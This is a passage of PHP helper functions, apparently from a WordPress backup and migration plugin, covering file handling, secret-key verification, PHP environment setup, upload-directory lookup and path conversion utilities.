); } } return $tell_result; } /** * Closes a file handle * * @param resource $handle File handle to close * @return boolean */ function ai1wm_close( $handle ) { return @fclose( $handle ); } /** * Deletes a file * * @param string $file Path to file to delete * @return boolean */ function ai1wm_unlink( $file ) { return @unlink( $file ); } /** * Sets modification time of a file * * @param string $file Path to file to change modification time * @param integer $time File modification time * @return boolean */ function ai1wm_touch( $file, $mtime ) { return @touch( $file, $mtime ); } /** * Changes file mode * * @param string $file Path to file to change mode * @param integer $time File mode * @return boolean */ function ai1wm_chmod( $file, $mode ) { return @chmod( $file, $mode ); } /** * Copies one file's contents to another * * @param string $source_file File to copy the contents from * @param string $destination_file File to copy the contents to */ function ai1wm_copy( $source_file, $destination_file ) { $source_handle = ai1wm_open( $source_file, 'rb' ); $destination_handle = ai1wm_open( $destination_file, 'ab' ); while ( $buffer = ai1wm_read( $source_handle, 4096 ) ) { ai1wm_write( $destination_handle, $buffer ); } ai1wm_close( $source_handle ); ai1wm_close( $destination_handle ); } /** * Check whether file size is supported by current PHP version * * @param string $file Path to file * @param integer $php_int_size Size of PHP integer * @return boolean $php_int_max Max value of PHP integer */ function ai1wm_is_filesize_supported( $file, $php_int_size = PHP_INT_SIZE, $php_int_max = PHP_INT_MAX ) { $size_result = true; // Check whether file size is less than 2GB in PHP 32bits if ( $php_int_size === 4 ) { if ( ( $file_handle = @fopen( $file, 'r' ) ) ) { if ( @fseek( $file_handle, $php_int_max, SEEK_SET ) !== -1 ) { if ( @fgetc( $file_handle ) !== false ) { $size_result = false; } } @fclose( $file_handle ); } } return $size_result; } /** * Verify secret key * * @param string $secret_key Secret key * @return boolean * @throws Ai1wm_Not_Valid_Secret_Key_Exception */ function ai1wm_verify_secret_key( $secret_key ) { if ( $secret_key !== get_option( AI1WM_SECRET_KEY ) ) { throw new Ai1wm_Not_Valid_Secret_Key_Exception( __( 'Unable to authenticate the secret key. Technical details', AI1WM_PLUGIN_NAME ) ); } return true; } /** * Is scheduled backup? * * @return boolean */ function ai1wm_is_scheduled_backup() { if ( isset( $_GET['ai1wm_manual_export'] ) || isset( $_POST['ai1wm_manual_export'] ) ) { return false; } if ( isset( $_GET['ai1wm_manual_import'] ) || isset( $_POST['ai1wm_manual_import'] ) ) { return false; } if ( isset( $_GET['ai1wm_manual_restore'] ) || isset( $_POST['ai1wm_manual_restore'] ) ) { return false; } return true; } /** * PHP setup environment * * @return void */ function ai1wm_setup_environment() { // Set whether a client disconnect should abort script execution @ignore_user_abort( true ); // Set maximum execution time @set_time_limit( 0 ); // Set maximum time in seconds a script is allowed to parse input data @ini_set( 'max_input_time', '-1' ); // Set maximum backtracking steps @ini_set( 'pcre.backtrack_limit', PHP_INT_MAX ); // Set binary safe encoding if ( @function_exists( 'mb_internal_encoding' ) && ( @ini_get( 'mbstring.func_overload' ) & 2 ) ) { @mb_internal_encoding( 'ISO-8859-1' ); } // Clean (erase) the output buffer and turn off output buffering if ( @ob_get_length() ) { @ob_end_clean(); } // Set error handler @set_error_handler( 'Ai1wm_Handler::error' ); // Set shutdown handler @register_shutdown_function( 'Ai1wm_Handler::shutdown' ); } /** * Get WordPress time zone string * * @return string */ function ai1wm_get_timezone_string() { if ( ( $timezone_string = get_option( 'timezone_string' ) ) ) { return $timezone_string; } if ( ( $gmt_offset = get_option( 'gmt_offset' ) ) ) { if ( $gmt_offset > 0 ) { return sprintf( 'UTC+%s', abs( $gmt_offset ) ); } elseif ( $gmt_offset < 0 ) { return sprintf( 'UTC-%s', abs( $gmt_offset ) ); } } return 'UTC'; } /** * Get WordPress filter hooks * * @param string $tag The name of the filter hook * @return array */ function ai1wm_get_filters( $tag ) { global $wp_filter; // Get WordPress filter hooks $filters = array(); if ( isset( $wp_filter[ $tag ] ) ) { if ( ( $filters = $wp_filter[ $tag ] ) ) { // WordPress 4.7 introduces new class for working with filters/actions called WP_Hook // which adds another level of abstraction and we need to address it. if ( isset( $filters->callbacks ) ) { $filters = $filters->callbacks; } } ksort( $filters ); } return $filters; } /** * Get WordPress uploads directory * * @return string */ function ai1wm_get_uploads_dir() { if ( ( $upload_dir = wp_upload_dir() ) ) { if ( isset( $upload_dir['basedir'] ) ) { return untrailingslashit( $upload_dir['basedir'] ); } } } /** * Get WordPress uploads URL * * @return string */ function ai1wm_get_uploads_url() { if ( ( $upload_dir = wp_upload_dir() ) ) { if ( isset( $upload_dir['baseurl'] ) ) { return trailingslashit( $upload_dir['baseurl'] ); } } } /** * Get WordPress uploads path * * @return string */ function ai1wm_get_uploads_path() { if ( ( $upload_dir = wp_upload_dir() ) ) { if ( isset( $upload_dir['basedir'] ) ) { return str_replace( ABSPATH, '', $upload_dir['basedir'] ); } } } /** * i18n friendly version of basename() * * @param string $path File path * @param string $suffix If the filename ends in suffix this will also be cut off * @return string */ function ai1wm_basename( $path, $suffix = '' ) { return urldecode( basename( str_replace( array( '%2F', '%5C' ), '/', urlencode( $path ) ), $suffix ) ); } /** * i18n friendly version of dirname() * * @param string $path File path * @return string */ function ai1wm_dirname( $path ) { return urldecode( dirname( str_replace( array( '%2F', '%5C' ), '/', urlencode( $path ) ) ) ); } /** * Replace forward slash with current directory separator * * @param string $path Path * @return string */ function ai1wm_replace_forward_slash_with_directory_separator( $path ) { return str_replace( '/', DIRECTORY_SEPARATOR, $path ); } /** * Replace current directory separator with forward slash * * @param string $path Path * @return string */ function ai1wm_replace_directory_separator_with_forward_slash( $path ) { return str_replace( DIRECTORY_SEPARATOR, '/', $path ); } /** * Escape Windows directory separator * * @param string $path Path * @return string */ function ai1wm_escape_windows_directory_separator( $path ) { return preg_replace( '/[\\\\]+/', '\\\\\\\\', $path ); } /** * Returns whether the server supports URL rewriting. * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx. * * @return boolean Whether the server supports URL rewriting. */ function ai1wm_got_url_rewrite() { if ( iis7_supports_permalinks() ) { return true; } elseif ( ! empty( $GLOBALS['is_nginx'] ) ) { return true; } return apache_mod_loaded( 'mod_rewrite', false ); } /** * Returns whether the server supports URL permalinks. * Detects Apache's mod_rewrite and URL permalinks. * * @return boolean Whether the server supports URL permalinks. */ function ai1wm_got_url_permalinks() { global $wp_rewrite, $is_apache; if ( $wp_rewrite->using_permalinks() ) { return true; } if ( $is_apache ) { return apache_mod_loaded( 'mod_rewrite', false ); } return true; }